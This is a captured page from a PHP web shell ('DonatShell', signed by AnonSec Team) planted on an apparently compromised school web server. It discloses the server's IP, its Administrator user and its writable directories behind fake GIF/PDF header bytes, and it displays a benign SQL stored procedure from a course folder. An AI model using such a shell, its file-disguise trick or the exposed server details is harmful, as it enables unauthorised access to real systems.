GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1602/Resources/Week/11/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1602/Resources/Week/11/AddOrderItem.sql
DROP PROCEDURE IF EXISTS AddOrderItem;

DELIMITER $$
CREATE PROCEDURE AddOrderItem(
  in orderNo int, 
  in productCode varchar(45), 
  in qty int, 
  in price double, 
  in lineNo int
)
BEGIN 
	DECLARE C INT;
	SELECT 
	  COUNT(orderNumber) INTO C 
	FROM 
	  orders 
	WHERE 
	  orderNumber = orderNo;
	-- check if orderNumber exists
	IF(C != 1) THEN SIGNAL SQLSTATE '45000' 
	SET MESSAGE_TEXT = 'Order No not found in orders table.';
	END IF;
	-- more code below
	-- ...
END$$
DELIMITER ;

Anon7 - 2022
AnonSec Team